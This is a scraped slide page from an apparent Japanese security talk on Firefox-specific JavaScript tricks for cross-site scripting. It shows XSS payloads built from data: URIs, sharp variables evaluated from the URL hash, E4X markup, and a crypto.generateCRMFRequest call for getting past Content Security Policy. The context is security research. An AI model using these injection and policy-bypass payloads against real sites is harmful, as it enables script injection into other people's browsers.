XSSで使えるかもしれないJavaScriptテクニック

Slides:



Advertisements
Similar presentations
HTML5時代の Webセキュリティ Jul Yosuke HASEGAWA. NetAgent security-mikan techtalk #5 自己紹介 はせがわようすけ  ネットエージェント株式会社  株式会社セキュアスカイ・テクノロジー.
Advertisements

Jun Yosuke HASEGAWA. NetAgent OWASP Japan Local Chapter Meeting #6 自己紹介 はせがわようすけ  ネットエージェント株式会社  株式会社セキュアスカイ・テクノロジー.
オリジンのはなし. NetAgent Shibuya.XSS Feb What is "Origin" ?  オリジン  Same-Origin Policy  クロスオリジンなんとか…  RFC6454 "The Web.
JavaScript & Ajax入門 2008年1月25日(金) アル・デザインワークス 新出純壱.
Nov Yosuke HASEGAWA #owaspjapan. OWASP Japan Local Chapter Meeting #8 #owaspjapan 自己紹介 はせがわようすけ  ネットエージェント株式会社  株式会社セキュアスカイ・テクノロジー 技術顧問  Microsoft.
© 2005 株式会社はてな 本資料の一部または全部の無断複製・転載を禁じます prototype.js と Perl で Ajax 株式会社はてな 伊藤 直也
1 なんとなく Ajax ~新しくて古い XMLHttp 川合孝典 (Kansai.pm) 2005/5/22.
(Rubyistのための) 超音速:ML入門
Web::Security beyond HTML5
XHTML構文検証手法における スクリプト要素の静的解析アルゴリズム
2007/12/21 宮脇文経 源氏物語の世界 再編集版 オリジナル - 高千穂大学 渋谷栄一教授 作成、無償公開
ネットエージェント株式会社 研究開発部 はせがわよすうけ
めんどうくさくない Bugハンティング Jul Yosuke HASEGAWA.
JavaScript 演習1.
JavaScript プログラミング入門 2006/11/10 神津.
SHA-1の高速化tips 2007/9/15
プログラミング言語としてのR 情報知能学科 白井 英俊.
JavaScriptゼミ第2回 2-2 変数とリテラル 発表者 直江宗紀.
HTMLの記述と WWWにおける情報公開 遠藤
オペレーティングシステムⅡ 第5回 講師 松本 章代 VirtuaWin・・・仮想デスクトップソフト 2009/11/6.
Hot Pepper for iPod touch
ホームページの作り方.
Chris Burgess (1号館1308研究室、内線164)
サイバーセキュリティ演習 ― Webセキュリティ基礎&実践―
第4回 個人の動画配信補足のためのWeb構築
第1回 JavaScriptゼミ ・ scriptエレメント ・ 記述における諸注意 ・ 古いブラウザへの対応方法
JavaScript 成瀬 基樹 平野 敦 北浦 繁.
タグライブラリとJSP J2EE I 第10回 /
条件式 (Conditional Expressions)
フォームからリクエストを受け取る <2/6>
プログラミング演習II 2004年12月 21日(第8回) 理学部数学科・木村巌.
形容詞(2) けいようし.
JQueryでAjax 藤田@ジャストプレイヤー ※参考しまくり文献 jQuery日本語リファレンス.
タグライブラリとJSP J2EE II 第2回 2004年10月7日 (木).
押さえておきたいIE8の セキュリティ新機能
基礎プログラミング演習 第7回 繰り返し.
情報基礎 空間情報の利用 講義の資料は下記のURLを参照.
Javaによる Webアプリケーション入門 第5回
第8章 Web技術とセキュリティ   岡本 好未.
HTTPとHTML 技術領域専攻 3回 中川 晃.
第4回JavaScriptゼミ セクション2-8 発表者 直江 宗紀.
卒業論文発表 「Web アクセスに伴う脅威の特徴分析」
ガジェット・マスターへの まわり道!? ~Ajaxを理解しよう~
第7回JavaScriptゼミ セクション4-5 発表者 直江 宗紀.
基礎プログラミング演習 第5回 関数とイベントを使ったプログラム.
情報スキル活用  第5週 基礎技術-5  その2 : 他のページへのリンク.
制作技術ー3 双方向通信 : CGIシステムと環境変数
Webセキュリティ 情報工学専攻 1年 赤木里騎 P226~241.
平成19年10月19日 図書系のための アプリケーション開発講習会
Microsoft PowerPoint98 Netscape Communicator 4.06[ja]
情報アプリケーション1 2006年 10月 19日 第四回資料 担当 重定 如彦 .
ネットワークプログラミング (3回目) 05A1302 円田 優輝.
ウェッブページ書法の復習 ネットワーク論以前のお話.
基礎プログラミング演習 第12回.
HP作成 そろそろまとめ編 担当:TAの人.
オブジェクト指向言語論 第六回 知能情報学部 新田直也.
プログラミング言語論 第六回 理工学部 情報システム工学科 新田直也.
コンピュータ プレゼンテーション.
統計ソフトウエアRの基礎.
基礎プログラミング演習 第6回.
基礎プログラミング演習 第3回.
Webページに動きを持たせるJavascript言語について 例題のプログラムを通して体験的に理解することとします。
ウェブデザイン演習 第6回.
PROGRAMMING IN HASKELL
第2話. 第2話 LLカンファレンス の歴史を 振り返る LL Saturday(2003年)
例題のプログラムを通して JavaScriptの仕組みを理解することとします。
SMTPプロトコル 2001年8月7日 龍 浩志.
情報基礎 空間情報の利用 講義の資料は下記のURLを参照.
岩村雅一 知能情報工学演習I 第7回(後半第1回) 岩村雅一
オブジェクト指向言語論 第六回 知能情報学部 新田直也.
Presentation transcript:

XSSで使えるかもしれないJavaScriptテクニック "フォクすけ" (C) 2006 Mozilla Japan FIREFOX JS HACKS XSSで使えるかもしれないJavaScriptテクニック はせがわようすけ

まもなくあきらかになる 攻撃に役立つコードの書き方が 提供 Shibuya.XSS ネットエージェント

dataスキームで遊ぶ #1 dataスキーム(RFC2397) <a href= "data:text/html,<html><div>hello</div></html>"> data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

dataスキームで遊ぶ #1 Firefoxのdataスキームは柔軟すぎる 全部うごく data:_,<script>alert(1)</script> data:data:data:1,<script>alert(1)</script> data:x;b as e6 4 0 0 0 0, PHN jcml wdD5hb G VydC hkb %09 2N1bWVud %20 C 5kb21haW4pPC 9zY3JpcHQ + 全部うごく

予約語を関数名に #2 function true() を呼びたい! (function(){ function true(){alert('Call me');}; /* YOUR CODE */ })(); (function(){ function true(){alert('Call me');}; with(arguments.callee)function::['true'](); })();

Sharp Variables #3 "#" ではじまるJavaScriptが書ける 実行の痕跡がサーバ側に残らない #1={},alert(1); // http://example.jp/#1={},alert(1); eval( location.hash ) // 19文字で任意のコード

文字列の連結 #4 E4Xによりプラス記号(+)を使わず文字列を連結 alert( <>{"abcd"}{"efgh"}</> ) // "abcdefgh"

Yet another eval feature #5 X-Content-Security-Policy: self; eval( "alert(1)" ); // NG setTimeout("alert(1)", 0 ); // NG Function("alert(1)")(); // NG CSPでunsafe-inline指定なしのときでも使える! crypto.generateCRMFRequest( 'CN=0',0,0,null, 'alert(1)', 384,null,'rsa-dual-use' ); // OK

Content-Security-Policyを破る #6 E4Xを使うとCSPを破ることができる <div>//XSS here <script src="self?q=</div></body></html>; alert(1);<html><body><div>"></script> </div> <html> <head> <title>CSP test</title> </head> <body> <div> </div></body></html>;alert(1);<html><body><div></div> </body> </html> valid JavaScript with E4X

参考文献 oiram - Pastebin.com http://pastebin.com/f690cd0db Fun with data: URLs http://blog.kotowicz.net/2012/04/fun-with-data-urls.html Fun impossible Firefox JS challenge https://mail.mozilla.org/pipermail/es-discuss/2012-April/022259.html HTML5 Security Cheatsheet http://html5sec.org/ Sharp variables in JavaScript - MDN https://developer.mozilla.org/en/Sharp_variables_in_JavaScript Introduction of Content-Security-Policy in 5 minutes http://utf-8.jp/public/20120327/owaspj-csp.pptx

提供 Shibuya.XSS ネットエージェント